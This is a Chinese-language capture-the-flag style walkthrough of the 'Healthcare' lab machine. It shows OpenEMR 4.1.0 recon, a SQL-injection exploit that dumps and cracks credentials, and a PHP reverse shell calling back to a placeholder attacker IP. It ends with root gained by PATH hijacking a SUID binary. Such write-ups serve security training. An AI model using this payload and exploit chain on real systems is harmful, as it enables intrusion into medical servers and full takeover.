难度 : 中等

目标信息

难度等级:中等
获得两个标志:user.txt和root.txt

1)扫描端口以及ip

首先对当前网段进行一个快速扫描

1
2
3
sudo arp-scan 192.168.0.0/24
mac地址做一个比对
192.168.0.103

image.png|550
网站首页
image.png
在进行一个详细的扫描

1
2
nmap -A -p- -sC -T4 192.168.0.103 -oN nmap.A
开放了2180 端口

image.png

2)扫描敏感目录

1
sudo dirb http://192.168.0.103

没扫出来有用的信息
用另一款扫描工具
使用的工具是gobuster,apt-get install gobuster 就可以安装,安装前可以apt-get update更新一下
字典是从github上找的,网址: https://github.com/danielmiessler/SecLists>Discovery>Web-Content>directory-list-lowercase-2.3-big.txt
字典地址

1
2
3
4
5
6
7
8
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -x .html,.php,.txt,.sh -u http://192.168.0.103/

参数分析:
gobuster dir -u <目标URL> -w <字典文件路径>
dir:指定使用目录枚举模式。
-u <目标URL>:指定目标网站的URL。
-w <字典文件路径>:指定用于枚举的字典文件的路径。
-x 选项后面跟着一个逗号分隔的列表,表示在进行目录穷举时,尝试的文件扩展名。

跑出来一个新的目录
http://192.168.0.103/openemr/
image.png|475
访问该目录http://192.168.0.103/openemr/发现是一个登陆页面
image.png|475

3)利用版本漏洞

搜索openemr版本漏洞,它这里显示版本4.1.0
使用searchsploit去搜索openemr的版本的漏洞

1
sudo searchsploit openemr 4.1.0

发现49742.py的这个sql注入漏洞可以利用
image.png
将这个.py文件下载下来
编辑这个文件

1
2
3
sudo searchsploit -m 49742.py

sudo vim 49742.py

将程序里的网址改为目标机的IP 按i键是插入 esc键是退出插入 shift+: 输入wq保存
image.png|500

然后直接使用python执行脚本

1
python3 49742.py

这里它会慢慢枚举出用户和密码,需要等待会
可以看到有两个用户
image.png

1
2
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d

密码看起来像是md5加密
在线MD5进行解密
得出两个用户名和密码

1
admin : ackbar

image.png

1
medical : medical

image.png

4)反弹shell

尝试利用得到的账号密码去登陆后台admin : ackbar
image.png|550
登录成功继续信息收集
经过查找发现有一个可以上传文件的地方
image.png|425

瑞士军刀

1
2
3
4
5
6
7
<?php 
$ip='攻击者IP';
$port=8888;
$sock = fsockopen($ip,$port);
$descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock );
$process = proc_open('/bin/sh',$descriptorspec,$pipes); proc_close($process);
?>

image.png|450
kali开启监听

1
nc -lnvp 8888 

image.png|400
浏览器访问config.php文件去触发反弹shell

1
http://192.168.0.103/openemr/sites/default/config.php

反弹成功
image.png|475
建立伪终端

1
2
python -c "import pty;pty.spawn('/bin/bash')"
python3不行可以试试python | 这里我用到python

home目录下的almirant用户下找到了第一个标志user.txt
image.png|450

我对所有用户进行了一个查看cat /etc/passwd
没有什么值得查看的信息
再次寻找有用的信息

5)提权

煞费苦心找了好久都没有找到提权点,
其实也没有煞费苦心不能sudo提权我就直接去网上找了
网上告诉我可以劫持环境变量提权
环境变量提权参考二
原理:

1
我认为环境变量提权的原理就是在环境变量最前面篡改某个命令的绝对路径(例如将/tmp/cat加在$PATH前),然后当我们执行某个命令的时候会优先从环境变量的最前面去找这个命令的路径,这里假设某一个脚本shell(具有SUID权限)执行cat命令,那么寻找到/tmp/cat,其内容为/bin/bash,那么根据SUID提权,就会以root权限执行/bin/bash,就成功提权到root了
步骤

1.查找一下二进制文件看是否存在着特殊权限位的文件可以让我们提权

1
2
3
4
5
6
7
8
9
find / -perm -u=s -type f 2> /dev/null -exec ls -ldb {} \;

- `find / -perm -u=s -type f`: 在根目录 `/` 下查找文件,其中 `-perm -u=s` 表示查找具有 SUID 权限的文件,而 `-type f` 表示限定搜索结果为文件类型。

- `2> /dev/null`: 将错误输出重定向到 `/dev/null`,以防止显示访问受限的目录时产生的错误信息。

- `-exec ls -ldb {} \;`: 对于找到的每个文件,执行 `ls -ldb` 命令,以详细列出文件的信息。`{}``find` 命令的占位符,表示找到的文件。`\;` 表示 `-exec` 选项的结束。

这个命令的目的是找到具有 SUID 权限的文件,并使用 `ls` 命令以详细的格式列出这些文件的信息。

发现有一个healthcheck健康检查文件
image.png|375

2.看一下这个文件是否可以执行>可以执行

1
/usr/bin/healthcheck

image.png|425
3.我们用strings命令查看一下能够打印出来的字符

1
strings /usr/bin/healthcheck

image.png|425
可以看到下面的的内容是有被执行的
并且这个文件所有者为root这样的我们创建一个ifconfig文件里面写上shell想办法让他执行我们创建的文件就可以获得root权限了、
去到/tmp(公共目录下)创建文件

1
2
echo '/bin/bash' > ifconfig
shell写入到ifconfig文件中

image.png|450
4.接下来就让系统优先执行这里用到一个环境变量提权
环境变量提权具体意思是什么呢
就是使用export设置一个临时的环境变量
那么系统在执行文件的过程中没有加绝对路径那么就会默认去找环境变量里所设置的路径
这个路径下的文件又恰好是我们写的 这样就会执行文件的时候就会找到我们的文件执行里面的命令

可以先对当前 Shell 环境中的 PATH 变量的值进行一个查看
image.png

5.保证文件可以顺利执行我们给ifconfig这个文件一个执行权限

1
chmod +x ifconfig

image.png
6.接下来设置临时环境变量
在对当前 Shell 环境中的 PATH 变量的值进行一个查看
现在系统在执行文件的过程中没有加绝对路径那么就会默认先去tmp目录下寻找

1
2
export PATH=/tmp:$PATH
echo $PATH

image.png|475
7.再次执行这个健康检查文件

1
/usr/bin/healthcheck

image.png|475
此时就已经是root用户
成功找到第二个标志root下的root.txt
image.png|475
提权成功

拓展

环境变量

百度百科解答
环境变量是在操作系统中一个具有特定名字的对象,它包含了一个或者多个应用程序所将使用到的信息。例如WindowsDOS操作系统中的path环境变量,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找此程序外,还应到path中指定的路径去找。用户通过设置环境变量,来更好的运行进程。
image.png|475
太官方了 我的见解就是
环境变量只有一句话:就是指明操作系统的重要目录在哪里
系统变量对所有用户生效,用户变量只对当前用户生效
就是计算机有很多文件,目录就是房子用来放文件,path告诉你去指定的房子找文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
理解环境变量可能需要从计算机的角度和实际的使用场景来考虑。让我们尝试用一个更简单的例子和比喻来解释。
比喻:家庭地址本

想象一本家庭地址本,里面包含了许多家庭的地址信息。这本地址本就像是计算机的环境变量。

家庭姓名就像是变量名:每个家庭有一个独特的名字,就像环境变量有一个独特的名字,比如 PATHLANGUAGE

地址就像是变量值: 每个家庭的地址就是变量的值,就像 PATH 中存储了一系列文件夹的路径,或者 LANGUAGE 中存储了一个语言设置。

查找地址本就像计算机查找环境变量: 当你需要找到某个家庭的地址时,你会查阅地址本。计算机也会查看环境变量,找到相应的设置,以便执行命令或调整系统行为。

修改地址本就像修改环境变量: 如果你搬家了,你会更新地址本中的信息。同样,如果你想要更改计算机的行为,你可以修改相应的环境变量。

在这个比喻中,家庭地址本是一个全局的、共享的信息存储方式,就像环境变量是操作系统和应用程序之间共享信息的一种方式。希望这个比喻能够帮助你更好地理解环境变量的概念。

在举一个例子
假如我们在cmd下去尝试打开qq.exe文件他是找不到QQ这个文件目录的
要么就只能在QQ文件夹路径下去打开qq.exe这个文件
image.png
此时我们只需要将QQ所在的文件路径添加至Path环境变量中
重新打开cmd窗口启动qq.exe它就可以找到了
image.png|400
image.png|400

靶机渗透总结:

1.信息收集dirb , gobuster 工具得使用
2.利用searchsploit搜索版本的框架漏洞
3.上传反弹shell的路径点
4..环境变量提权


Healthcare 靶机提权
http://example.com/posts/1f71868d/
作者
帅蛋同学_
发布于
2024年1月30日 21:16
许可协议